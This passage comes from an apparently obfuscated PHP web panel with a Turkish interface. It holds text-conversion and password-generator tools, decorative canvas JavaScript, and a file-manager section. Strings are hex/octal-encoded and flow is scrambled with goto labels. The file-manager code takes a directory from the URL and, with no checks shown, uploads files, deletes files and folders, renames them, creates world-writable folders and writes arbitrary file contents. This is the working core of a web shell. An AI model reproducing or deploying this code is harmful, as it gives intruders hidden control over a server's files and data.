value="remove_numbers">Sayıları Kaldır</option> <option value="remove_special">Özel Karakterleri Kaldır</option> </optgroup> <optgroup label="⚡ Özel"> <option value="slugify">Slug Oluştur</option> <option value="email_extract">Email Çıkar</option> <option value="url_extract">URL Çıkar</option> <option value="phone_extract">Telefon Çıkar</option> <option value="shuffle">Karıştır</option> </optgroup> </select> <button type="submit" name="tool_action" value="text_processing" class="btn-neon small"> <i class="fas fa-magic"></i> </button> </div> </form> <?php if (isset($_POST["\164\157\x6f\x6c\137\x61\x63\x74\x69\157\x6e"]) && $_POST["\164\157\x6f\154\137\141\x63\x74\151\x6f\156"] == "\x74\145\170\x74\x5f\x70\x72\157\143\145\163\x73\x69\156\x67") { ?> <div class="terminal-output"> <?php $text = $_POST["\164\x65\170\x74\x5f\151\x6e\160\x75\x74"]; $action = $_POST["\x74\145\170\x74\137\x61\x63\x74\151\x6f\156"]; echo "\74\144\x69\x76\x20\x63\154\141\x73\x73\75\x22\x6f\x75\164\160\165\x74\55\x6c\151\x6e\x65\x22\x3e\x3c\163\x70\141\156\x20\x63\154\141\x73\x73\x3d\x22\x64\x69\x6d\42\x3e\360\x9f\x93\x9d\40\x47\151\162\x69\305\x9f\40\50" . strlen($text) . "\40\153\x61\162\x61\153\x74\145\x72\51\72\x3c\x2f\163\x70\x61\156\76\74\x2f\144\151\166\76"; echo "\x3c\x64\151\166\x20\143\154\x61\163\163\75\42\157\165\x74\x70\165\x74\55\154\151\x6e\145\x22\40\x73\x74\x79\154\x65\75\x22\146\157\156\164\x2d\163\x69\x7a\145\72\61\60\160\170\x3b\42\x3e\42" . htmlspecialchars(substr($text, 0, 60)) . (strlen($text) > 60 ? "\56\x2e\x2e" : '') . "\x22\74\57\x64\x69\166\76"; echo "\x3c\x64\x69\x76\x20\163\x74\171\x6c\145\75\42\x62\157\162\x64\x65\x72\x2d\x74\x6f\160\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x72\147\142\141\x28\x31\x37\x39\x2c\60\x2c\62\x35\65\54\x30\x2e\x30\x35\51\x3b\155\141\x72\147\151\156\72\x35\x70\x78\x20\60\x3b\x22\x3e\74\x2f\144\151\166\x3e"; echo "\74\144\151\x76\40\x63\154\x61\163\x73\x3d\x22\157\165\164\x70\x75\164\x2d\154\151\156\x65\42\76\74\x73\x70\141\156\40\143\154\x61\x73\x73\x3d\x22\x77\x61\162\156\x22\x3e\360\237\x9b\240\357\270\217\40" . strtoupper($action) . "\x3a\74\x2f\163\x70\x61\156\76\74\57\x64\x69\x76\x3e"; $result = ''; switch ($action) { case "\x75\160\160\145\x72": $result = strtoupper($text); break; case "\x6c\x6f\x77\x65\x72": $result = strtolower($text); break; case "\164\151\164\154\x65": $result = ucwords(strtolower($text)); break; case "\x63\141\155\145\x6c": $words = explode("\40", strtolower($text)); $result = $words[0] . implode('', array_map("\165\143\146\x69\162\163\x74", array_slice($words, 1))); break; case "\163\156\141\153\145": $result = strtolower(str_replace("\x20", "\x5f", $text)); break; case "\153\x65\142\141\x62": $result = strtolower(str_replace("\x20", "\55", $text)); break; case "\162\145\x76\x65\162\163\x65": $result = strrev($text); break; case "\x77\157\162\x64\137\143\x6f\x75\156\164": $count = str_word_count($text); $result = "\xf0\237\223\212\x20\113\145\x6c\151\155\145\x20\123\x61\171\xc4\xb1\163\304\xb1\x3a\x20{$count}"; break; case "\x63\x68\x61\x72\137\143\157\x75\x6e\164": $chars = strlen($text); $no_space = strlen(str_replace("\x20", '', $text)); $result = "\360\237\x93\212\x20\x4b\141\162\141\153\x74\145\162\40\50\x62\157\305\x9f\154\x75\x6b\x6c\x75\x29\72\40{$chars}\12\xf0\237\x93\x8a\40\x4b\x61\x72\141\153\x74\x65\x72\40\50\x62\157\305\x9f\154\165\153\x73\x75\172\x29\x3a\40{$no_space}"; break; case "\x6c\x69\156\x65\137\x63\x6f\x75\x6e\x74": $lines = substr_count($text, "\xa") + 1; $result = "\xf0\x9f\x93\212\x20\123\x61\x74\304\xb1\x72\40\123\x61\171\304\261\x73\xc4\261\72\x20{$lines}"; break; case "\x75\156\151\161\x75\x65\x5f\167\157\162\144\x73": $words = str_word_count(strtolower($text), 1); $unique = array_unique($words); $result = "\xf0\237\223\212\40\102\x65\x6e\x7a\x65\x72\x73\151\x7a\40\x4b\x65\154\151\155\145\x6c\x65\162\72\40" . count($unique) . "\12" . implode("\54\x20", $unique); break; case "\167\157\162\x64\137\146\x72\x65\161\165\x65\x6e\143\x79": $words = str_word_count(strtolower($text), 1); $freq = array_count_values($words); arsort($freq); $result = "\xf0\x9f\x93\212\40\113\x65\x6c\151\x6d\x65\40\x46\x72\145\x6b\141\156\163\304\xb1\x3a\xa"; foreach (array_slice($freq, 0, 10) as $word => $count) { $result .= "\40\40{$word}\72\40{$count}\xa"; } break; case "\163\x74\162\x69\160\137\164\x61\147\163": $result = strip_tags($text); break; case "\x72\x65\x6d\157\166\x65\x5f\163\x70\141\143\x65\x73": $result = str_replace("\40", '', $text); break; case "\x72\x65\155\157\x76\145\x5f\x64\x75\x70\x6c\151\x63\141\164\145\163": $lines = explode("\xa", $text); $lines = array_unique($lines); $result = implode("\xa", $lines); break; case "\x72\145\x6d\157\x76\145\x5f\x6e\x75\x6d\142\x65\162\x73": $result = preg_replace("\x2f\x5b\60\x2d\x39\135\57", '', $text); break; case "\x72\x65\155\157\x76\145\137\163\x70\145\143\151\x61\x6c": $result = preg_replace("\x2f\x5b\136\141\55\172\101\x2d\x5a\60\x2d\x39\x5c\x73\135\x2f", '', $text); break; case "\x73\x6c\165\147\x69\146\171": $slug = strtolower(trim(preg_replace("\57\x5b\136\x61\55\x7a\101\x2d\132\x30\55\x39\x2d\135\x2f", "\x2d", $text), "\55")); $result = $slug; break; case "\145\x6d\141\x69\x6c\137\145\x78\x74\x72\x61\143\x74": preg_match_all("\57\133\x61\55\x7a\x30\x2d\x39\x2e\x5f\45\x2b\55\135\53\100\x5b\x61\55\172\60\55\71\x2e\x2d\x5d\53\134\x2e\x5b\141\x2d\172\135\173\x32\54\175\x2f\x69", $text, $matches); $result = "\360\237\223\247\x20\102\x75\154\x75\x6e\x61\x6e\x20\x45\155\141\x69\x6c\x73\x3a\x20" . count($matches[0]) . "\12" . implode("\12", $matches[0]); break; case "\165\162\x6c\137\145\x78\164\162\141\x63\164": preg_match_all("\x2f\x68\x74\164\x70\x73\x3f\x3a\x5c\57\x5c\57\133\136\x5c\x73\135\x2b\x2f\151", $text, $matches); $result = "\360\x9f\224\x97\40\102\165\x6c\165\x6e\x61\156\x20\x55\122\x4c\47\154\145\162\72\x20" . count($matches[0]) . "\12" . implode("\12", $matches[0]); break; case "\x70\150\157\156\145\137\145\x78\x74\162\x61\143\x74": preg_match_all("\x2f\133\x5c\x2b\135\77\x5b\x30\55\71\135\x7b\61\54\x34\x7d\77\133\55\56\134\163\x5d\77\134\50\77\x5b\60\x2d\71\x5d\173\61\x2c\x33\175\134\51\77\x5b\55\x2e\134\x73\x5d\x3f\x5b\60\x2d\x39\x5d\x7b\61\54\64\175\133\x2d\x2e\134\163\x5d\77\133\x30\55\x39\x5d\173\x31\54\x34\175\x5b\x2d\56\x5c\x73\135\77\x5b\60\x2d\71\x5d\x7b\x31\54\x39\x7d\x2f", $text, $matches); $result = "\xf0\x9f\223\236\x20\102\165\154\x75\x6e\x61\x6e\40\x54\145\x6c\x65\x66\x6f\x6e\x6c\x61\162\72\40" . count($matches[0]) . "\12" . implode("\12", $matches[0]); break; case "\x73\x68\x75\x66\x66\154\145": $chars = str_split($text); shuffle($chars); $result = implode('', $chars); break; default: $result = "\x42\x69\154\151\156\155\x65\x79\x65\156\40\x69\305\237\x6c\145\155"; } echo "\x3c\144\151\x76\40\x63\154\x61\x73\163\75\x22\x6f\165\x74\160\165\164\55\154\x69\x6e\x65\42\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\151\x7a\x65\72\x31\61\x70\170\x3b\167\150\151\x74\145\55\163\160\141\143\x65\72\x70\162\145\x2d\x77\x72\141\x70\73\167\157\162\x64\55\x62\x72\x65\x61\153\72\142\x72\145\x61\x6b\x2d\x61\154\x6c\73\x22\76" . htmlspecialchars($result) . "\x3c\57\144\x69\166\x3e"; ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 7. PASSWORD GENERATOR --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-key"></i> <h4>🔑 Password Generator</h4> <span class="badge">Güvenli</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <input type="number" name="pass_length" placeholder="Uzunluk" value="16" style="max-width:80px;"> <input type="number" name="pass_count" placeholder="Adet" value="5" style="max-width:80px;"> </div> <div class="input-group" style="flex-wrap:wrap;"> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="pass_upper" value="1" checked> <span class="toggle-slider"></span> </span> A-Z </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="pass_lower" value="1" checked> <span class="toggle-slider"></span> </span> a-z </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="pass_numbers" value="1" checked> <span class="toggle-slider"></span> </span> 0-9 </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="pass_symbols" value="1"> <span class="toggle-slider"></span> </span> !@#$ </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="pass_ambiguous" value="1"> <span class="toggle-slider"></span> </span> Karışık </label> </div> <button type="submit" name="tool_action" value="password_gen" class="btn-neon"> <i class="fas fa-sync"></i> Üret </button> </form> <?php if (isset($_POST["\164\x6f\x6f\154\137\141\143\164\x69\x6f\156"]) && $_POST["\164\157\157\x6c\137\141\143\x74\151\157\x6e"] == "\x70\x61\163\163\x77\157\x72\144\137\x67\x65\156") { ?> <div class="terminal-output"> <?php $length = intval($_POST["\x70\x61\x73\x73\x5f\x6c\145\156\147\164\150"] ?? 16); $count = intval($_POST["\x70\x61\x73\163\137\x63\157\165\x6e\164"] ?? 5); $upper = isset($_POST["\160\x61\163\x73\x5f\x75\x70\160\145\162"]); $lower = isset($_POST["\160\141\163\x73\x5f\154\x6f\x77\x65\162"]); $numbers = isset($_POST["\160\x61\x73\x73\137\156\x75\x6d\x62\145\x72\x73"]); $symbols = isset($_POST["\160\x61\163\x73\137\163\x79\155\142\x6f\x6c\x73"]); $ambiguous = isset($_POST["\x70\x61\163\x73\x5f\x61\155\142\x69\x67\x75\x6f\165\163"]); $chars = ''; if ($upper) { $chars .= "\x41\x42\103\x44\105\106\107\x48\x49\x4a\113\114\x4d\x4e\117\x50\x51\x52\123\124\125\126\x57\130\131\132"; } if ($lower) { $chars .= "\x61\x62\x63\x64\x65\x66\x67\x68\151\x6a\x6b\x6c\155\156\157\x70\x71\x72\x73\x74\x75\166\167\x78\x79\x7a"; } if ($numbers) { $chars .= "\60\61\x32\63\x34\x35\66\67\x38\x39"; } if ($symbols) { $chars .= "\41\100\43\x24\45\136\46\x2a\x28\x29\137\53\55\x3d\x5b\x5d\x7b\175\x7c\x3b\72\54\x2e\74\x3e\77"; } if ($ambiguous) { $chars .= "\x69\x6c\61\114\157\x30\x4f"; } if (empty($chars)) { $chars = "\x41\x42\103\104\105\106\x47\110\111\112\113\x4c\x4d\116\x4f\x50\x51\122\x53\124\125\x56\127\130\x59\x5a\x61\142\x63\144\x65\146\x67\150\151\152\x6b\154\155\x6e\157\x70\161\x72\x73\164\165\166\x77\170\171\172\x30\x31\62\63\64\x35\66\67\70\71"; } echo "\x3c\144\151\x76\40\x63\x6c\x61\163\x73\x3d\x22\157\x75\x74\x70\x75\x74\x2d\154\x69\156\145\42\76\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\75\x22\x69\156\x66\157\x22\x3e\xf0\237\224\x91\x20" . $count . "\40\xc5\x9f\x69\x66\162\x65\x20\x6f\x6c\165\305\x9f\164\165\162\x75\154\x64\x75\40\x28\x75\x7a\165\156\x6c\x75\x6b\x3a\40" . $length . "\51\x3c\57\x73\160\x61\x6e\x3e\x3c\x2f\x64\x69\166\x3e"; $passwords = array(); for ($i = 0; $i < $count; $i++) { $password = ''; for ($j = 0; $j < $length; $j++) { $password .= $chars[random_int(0, strlen($chars) - 1)]; } $passwords[] = $password; $strength = $this->getPasswordStrength($password); echo "\74\144\x69\x76\x20\x63\154\141\x73\x73\x3d\x22\157\x75\x74\x70\165\x74\x2d\154\x69\x6e\145\42\x3e"; echo "\40\40\x3c\163\x70\x61\x6e\x20\143\x6c\x61\x73\x73\x3d\x22\150\x69\x67\150\x6c\151\x67\x68\x74\x22\x3e" . ($i + 1) . "\56\74\57\x73\160\x61\x6e\x3e\40"; echo "\40\x20\x3c\x73\x70\x61\156\40\163\164\x79\154\x65\75\x22\x66\157\156\x74\55\146\x61\x6d\x69\154\x79\72\x6d\157\x6e\x6f\x73\x70\x61\143\145\73\143\x6f\154\157\x72\72\x23\x64\64\x62\x66\x66\146\73\x22\x3e" . $password . "\x3c\x2f\x73\160\x61\x6e\76"; echo "\x20\40\74\163\x70\141\x6e\x20\143\154\x61\x73\163\75\42\144\151\x6d\42\76\x5b\74\x2f\163\x70\x61\x6e\x3e\74\163\x70\x61\156\40\143\x6c\141\x73\x73\75\x22" . ($strength == "\107\xc3\xbc\xc3\xa7\x6c\xc3\xbc" ? "\163\x75\143\143\145\x73\x73" : ($strength == "\x4f\162\x74\141" ? "\x77\141\162\156" : "\x65\162\x72\157\162")) . "\x22\76" . $strength . "\74\57\x73\x70\141\x6e\x3e\74\163\160\x61\156\x20\x63\x6c\141\163\x73\x3d\42\x64\x69\155\x22\76\x5d\74\x2f\163\x70\x61\x6e\76"; echo "\x3c\57\x64\151\166\x3e"; } echo "\x3c\144\x69\166\40\143\154\141\x73\163\75\x22\157\165\164\x70\165\164\55\x6c\151\156\145\42\40\163\x74\x79\x6c\145\75\42\x62\x6f\162\x64\x65\x72\55\x74\157\160\72\61\x70\170\40\x73\x6f\154\x69\x64\40\x72\x67\142\x61\x28\x31\x37\x39\x2c\x30\54\62\x35\x35\x2c\x30\x2e\x31\51\73\x6d\x61\162\x67\x69\x6e\x2d\164\157\160\72\65\160\x78\73\x70\141\144\x64\x69\156\147\x2d\x74\x6f\160\72\x35\x70\x78\73\x22\x3e"; echo "\40\40\x3c\163\x70\141\x6e\40\x63\x6c\x61\163\163\x3d\42\x64\x69\155\x22\76\360\x9f\x92\241\40\113\x61\162\x61\x6b\164\145\162\40\150\x61\x76\165\172\165\x3a\40" . strlen($chars) . "\40\x6b\141\x72\141\x6b\x74\145\162\x3c\x2f\x73\160\141\156\76"; echo "\x20\40\74\163\x70\141\x6e\x20\x63\x6c\141\163\x73\75\x22\144\151\155\x22\x3e\x7c\40\x45\x6e\x74\x72\157\x70\x69\x3a\x20\176" . round(log(strlen($chars), 2) * $length) . "\x20\142\x69\x74\x3c\57\x73\x70\141\x6e\x3e"; echo "\x3c\x2f\x64\x69\x76\x3e"; ?> </div> <?php } ?> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; // Mouse interaction const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } // Wrap around if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 3); gradient.addColorStop(0, `rgba(179, 0, 255, ${this.opacity * 1.5})`); gradient.addColorStop(0.5, `rgba(255, 0, 170, ${this.opacity * 0.8})`); gradient.addColorStop(1, `rgba(179, 0, 255, 0)`); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 3, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = `rgba(179, 0, 255, ${this.opacity * 0.8})`; ctx.fill(); } } // Create particles const particleCount = Math.min(100, Math.floor(window.innerWidth * window.innerHeight / 20000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } // Draw connections function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 100) { const opacity = (1 - dist / 100) * 0.08; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } // Mouse tracking document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); // Cleanup on page change window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== TOOL TABS ===== document.querySelectorAll('.tool-tab').forEach(tab => { tab.addEventListener('click', function() { const parent = this.closest('.tool-card'); const tabGroup = parent.querySelector('.tool-tabs'); const contentGroup = parent.querySelectorAll('.tool-tab-content'); tabGroup.querySelectorAll('.tool-tab').forEach(t => t.classList.remove('active')); this.classList.add('active'); contentGroup.forEach(c => c.classList.remove('active')); parent.querySelector('#' + this.dataset.tab).classList.add('active'); }); }); // ===== RANDOM STRING ===== function randomString(length) { const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-='; let result = ''; for (let i = 0; i < length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } // ===== PASSWORD STRENGTH ===== function getPasswordStrength(password) { let score = 0; if (password.length >= 12) score += 2; if (password.length >= 16) score += 2; if (/[a-z]/.test(password)) score += 1; if (/[A-Z]/.test(password)) score += 1; if (/[0-9]/.test(password)) score += 1; if (/[^a-zA-Z0-9]/.test(password)) score += 2; if (password.length >= 20) score += 2; if (score >= 8) return 'Güçlü'; if (score >= 5) return 'Orta'; return 'Zayıf'; } </script> <?php } goto FuH3f; FuH3f: ?> <!-- ============================================================ --> <!-- ===== BACKUP ===== --> <!-- ============================================================ --> <?php goto mXJfL; SCxPW: if ($action == "\x66\151\x6c\145\x73") { $dir = isset($_GET["\x64\151\162"]) ? $_GET["\144\x69\162"] : getcwd(); if (isset($_FILES["\165\x70\154\157\141\144\137\x66\151\x6c\x65"]) && $_FILES["\165\x70\154\157\x61\x64\x5f\146\151\x6c\x65"]["\x65\162\162\157\x72"] == 0) { $target = $dir . "\57" . basename($_FILES["\165\x70\154\157\x61\144\x5f\146\x69\154\x65"]["\x6e\x61\155\x65"]); if (move_uploaded_file($_FILES["\165\160\x6c\157\141\x64\137\x66\151\x6c\x65"]["\164\x6d\160\x5f\156\x61\x6d\x65"], $target)) { echo "\74\144\151\166\x20\x63\154\x61\x73\163\75\x22\x61\154\145\x72\x74\x20\x61\154\145\162\x74\55\x73\x75\143\x63\x65\163\x73\x20\147\154\x6f\167\55\163\x75\x63\x63\x65\x73\x73\42\76\342\234\xa8\x20\104\x6f\163\171\141\x20\x79\303\xbc\153\x6c\145\156\144\151\72\x20" . htmlspecialchars(basename($target)) . "\40\x28" . formatSize($_FILES["\165\160\154\x6f\141\144\137\x66\x69\x6c\x65"]["\x73\x69\172\x65"]) . "\x29\74\x2f\144\151\166\x3e"; } else { echo "\x3c\x64\151\x76\x20\143\x6c\141\x73\x73\75\42\x61\154\x65\162\164\40\x61\154\x65\162\164\x2d\145\162\x72\157\162\40\x67\x6c\x6f\167\55\x65\162\x72\157\162\x22\x3e\xf0\x9f\x92\245\x20\x59\303\274\x6b\x6c\x65\x6d\145\x20\142\141\305\x9f\141\162\304\xb1\163\304\261\x7a\x21\x3c\x2f\x64\x69\166\x3e"; } } if (isset($_POST["\144\145\154\x65\x74\x65\x5f\x66\x69\x6c\x65"]) && isset($_POST["\x66\x69\x6c\x65\x5f\x70\x61\164\150"]) && !empty($_POST["\146\x69\154\x65\137\x70\x61\x74\x68"])) { $file_path = $_POST["\x66\151\x6c\145\x5f\160\141\164\150"]; if (file_exists($file_path)) { if (is_file($file_path)) { if (@unlink($file_path)) { echo "\x3c\144\x69\x76\40\x63\154\141\163\x73\x3d\42\x61\x6c\145\162\164\x20\141\154\x65\x72\x74\55\163\165\143\x63\145\x73\x73\40\147\154\157\x77\55\x73\165\143\x63\x65\x73\163\42\76\xf0\237\x97\x91\357\270\217\40\x44\x6f\x73\171\x61\x20\x73\151\154\151\x6e\x64\x69\72\x20" . htmlspecialchars(basename($file_path)) . "\74\57\144\x69\166\76"; } else { echo "\74\144\151\166\x20\143\x6c\x61\163\x73\75\x22\x61\154\x65\162\164\40\x61\x6c\145\x72\x74\55\145\162\x72\x6f\162\x20\x67\154\x6f\x77\x2d\x65\x72\162\157\x72\42\76\xe2\x9d\214\x20\104\x6f\x73\171\x61\x20\163\151\x6c\151\156\x65\x6d\145\144\151\41\74\57\x64\x69\166\x3e"; } } elseif (is_dir($file_path)) { if (deleteDir($file_path)) { echo "\x3c\144\x69\166\x20\x63\154\141\x73\x73\75\x22\x61\x6c\x65\x72\164\x20\x61\x6c\145\x72\x74\55\163\165\x63\x63\x65\163\163\40\147\154\x6f\x77\55\163\x75\143\143\145\x73\x73\42\x3e\xf0\x9f\223\201\x20\113\154\x61\163\303\xb6\162\x20\163\x69\154\x69\156\x64\151\72\x20" . htmlspecialchars(basename($file_path)) . "\x3c\x2f\144\x69\166\76"; } else { echo "\x3c\144\151\x76\40\143\x6c\x61\x73\x73\x3d\42\141\x6c\x65\162\x74\40\x61\154\145\162\x74\x2d\145\162\162\x6f\162\40\x67\154\x6f\167\55\x65\x72\x72\157\162\x22\76\342\x9d\214\x20\x4b\154\x61\x73\303\xb6\x72\x20\163\x69\x6c\x69\156\x65\x6d\x65\x64\x69\41\x3c\x2f\144\x69\x76\x3e"; } } } else { echo "\x3c\144\151\x76\x20\143\154\x61\x73\x73\x3d\42\x61\x6c\x65\162\164\x20\141\154\145\x72\x74\55\x65\162\x72\x6f\x72\40\x67\x6c\157\x77\x2d\x65\x72\162\157\162\42\76\xe2\x9d\214\40\104\x6f\163\171\141\x2f\x4b\x6c\x61\x73\303\266\162\40\142\x75\x6c\165\156\x61\155\141\x64\304\261\41\74\57\x64\151\166\x3e"; } } if (isset($_POST["\155\141\163\x73\x5f\144\x65\x6c\145\164\x65"]) && isset($_POST["\163\x65\x6c\x65\x63\x74\x65\144\x5f\x66\x69\x6c\x65\163"]) && !empty($_POST["\x73\145\x6c\145\143\164\x65\x64\x5f\146\x69\154\x65\x73"])) { $selected = $_POST["\163\x65\x6c\x65\x63\x74\145\x64\x5f\x66\x69\x6c\x65\x73"]; $count = 0; $errors = 0; foreach ($selected as $file) { if (file_exists($file) && is_file($file)) { if (@unlink($file)) { $count++; } else { $errors++; } } } if ($count > 0) { echo "\74\x64\x69\166\40\x63\x6c\141\163\x73\x3d\42\x61\154\145\x72\164\40\141\154\145\x72\164\55\x73\165\x63\143\145\163\x73\x20\x67\154\157\x77\55\x73\x75\x63\143\145\x73\x73\x22\76\xf0\x9f\x94\245\x20" . $count . "\40\144\x6f\x73\x79\141\x20\163\151\x6c\x69\156\x64\151\41\x3c\57\x64\151\x76\x3e"; } if ($errors > 0) { echo "\x3c\x64\x69\166\x20\x63\154\x61\x73\163\75\42\x61\154\x65\162\x74\x20\141\x6c\145\162\x74\x2d\x65\x72\x72\157\x72\x20\147\x6c\157\167\x2d\145\x72\x72\157\x72\x22\76\xe2\x9a\240\xef\270\217\x20" . $errors . "\40\x64\157\x73\171\141\x20\163\151\154\151\x6e\145\x6d\x65\144\x69\x21\x3c\x2f\x64\x69\166\76"; } } if (isset($_POST["\162\145\156\x61\155\x65\x5f\146\151\154\145"]) && isset($_POST["\157\154\x64\x5f\156\x61\155\x65"]) && isset($_POST["\156\x65\x77\137\x6e\x61\155\x65"]) && !empty($_POST["\x6e\x65\x77\x5f\156\141\x6d\x65"])) { $old = $_POST["\x6f\154\x64\x5f\156\x61\x6d\x65"]; $new = dirname($old) . "\57" . $_POST["\156\145\167\x5f\156\x61\x6d\x65"]; if (file_exists($old)) { if (!file_exists($new)) { if (@rename($old, $new)) { echo "\x3c\x64\x69\x76\x20\143\154\x61\163\x73\75\42\x61\x6c\x65\162\164\x20\141\154\145\162\164\55\163\165\x63\143\145\x73\163\40\x67\x6c\x6f\167\55\x73\x75\143\143\x65\163\163\x22\76\342\x9c\x8f\xef\xb8\x8f\40\x59\x65\x6e\x69\x64\145\156\x20\x61\144\154\141\x6e\144\xc4\xb1\x72\304\xb1\x6c\x64\304\xb1\x3a\x20" . htmlspecialchars(basename($old)) . "\x20\342\x86\222\x20" . htmlspecialchars($_POST["\x6e\x65\x77\137\156\141\155\145"]) . "\74\57\144\x69\x76\76"; } else { echo "\x3c\144\151\166\x20\x63\154\141\163\163\75\42\x61\x6c\x65\162\x74\x20\x61\x6c\145\162\164\x2d\145\162\162\157\162\x20\x67\154\157\x77\x2d\x65\x72\162\157\x72\x22\x3e\342\x9d\214\x20\x59\x65\x6e\x69\144\145\156\x20\x61\x64\154\x61\156\144\xc4\261\x72\xc4\xb1\x6c\x61\x6d\x61\x64\304\261\41\x3c\x2f\x64\x69\166\76"; } } else { echo "\x3c\144\151\166\40\x63\154\x61\163\x73\x3d\x22\141\154\x65\x72\164\x20\141\154\145\x72\164\x2d\145\x72\162\x6f\x72\x20\147\154\157\167\x2d\x65\162\162\157\162\x22\x3e\xe2\x9d\214\40\102\165\x20\x69\163\x69\155\x64\x65\x20\144\157\x73\171\x61\40\x7a\141\x74\145\156\x20\166\141\162\41\74\x2f\x64\x69\166\x3e"; } } else { echo "\x3c\144\x69\x76\40\143\154\x61\163\163\x3d\x22\141\154\x65\x72\164\40\141\x6c\x65\x72\x74\x2d\x65\162\162\157\x72\x20\147\x6c\157\167\x2d\x65\x72\162\x6f\x72\42\x3e\342\235\x8c\x20\104\157\x73\171\141\x20\x62\165\154\x75\156\x61\x6d\141\x64\304\261\x21\x3c\x2f\144\x69\x76\x3e"; } } if (isset($_POST["\143\x72\x65\x61\x74\145\x5f\x66\x6f\x6c\144\x65\x72"]) && isset($_POST["\146\x6f\154\x64\x65\x72\137\156\x61\155\145"]) && !empty($_POST["\x66\x6f\x6c\x64\145\162\x5f\x6e\x61\155\145"])) { $folder = $dir . "\x2f" . trim($_POST["\x66\157\x6c\x64\145\x72\137\156\141\155\x65"]); if (!file_exists($folder)) { if (@mkdir($folder, 511, true)) { echo "\74\x64\151\166\x20\143\154\141\x73\x73\75\x22\x61\x6c\x65\x72\164\x20\x61\x6c\145\x72\164\55\163\x75\x63\143\x65\163\163\x20\147\x6c\157\167\55\163\x75\x63\143\145\163\x73\42\x3e\xf0\237\x93\x81\x20\113\154\141\x73\xc3\266\162\x20\x6f\154\165\xc5\x9f\x74\165\162\x75\154\144\165\72\40" . htmlspecialchars(basename($folder)) . "\74\57\144\151\166\x3e"; } else { echo "\x3c\144\x69\166\x20\x63\154\141\163\x73\x3d\42\x61\x6c\145\162\164\40\x61\x6c\145\x72\164\x2d\145\x72\x72\157\162\x20\x67\154\157\167\55\145\162\162\157\162\42\76\342\x9d\214\x20\113\x6c\x61\163\303\xb6\x72\40\x6f\154\x75\305\x9f\x74\x75\162\x75\x6c\x61\x6d\x61\x64\304\261\41\x3c\x2f\x64\x69\166\76"; } } else { echo "\x3c\144\151\166\x20\x63\154\x61\x73\163\x3d\42\x61\x6c\145\x72\x74\40\141\x6c\x65\x72\164\x2d\x65\162\162\x6f\162\x20\147\154\x6f\167\x2d\x65\x72\162\157\162\x22\x3e\xe2\235\x8c\40\x5a\x61\x74\145\156\x20\166\141\162\x21\x3c\x2f\144\151\166\x3e"; } } if (isset($_POST["\x63\162\x65\141\164\145\x5f\146\151\x6c\145"]) && isset($_POST["\146\x69\x6c\145\x5f\x6e\x61\155\x65"]) && !empty($_POST["\x66\x69\154\145\137\156\x61\x6d\145"])) { $file = $dir . "\57" . trim($_POST["\x66\151\x6c\145\137\x6e\141\155\145"]); if (!file_exists($file)) { $content = isset($_POST["\x66\x69\154\x65\x5f\143\x6f\x6e\x74\145\156\164"]) ? $_POST["\x66\151\x6c\x65\x5f\x63\x6f\x6e\x74\x65\156\x74"] : ''; if (@file_put_contents($file, $content)) { echo 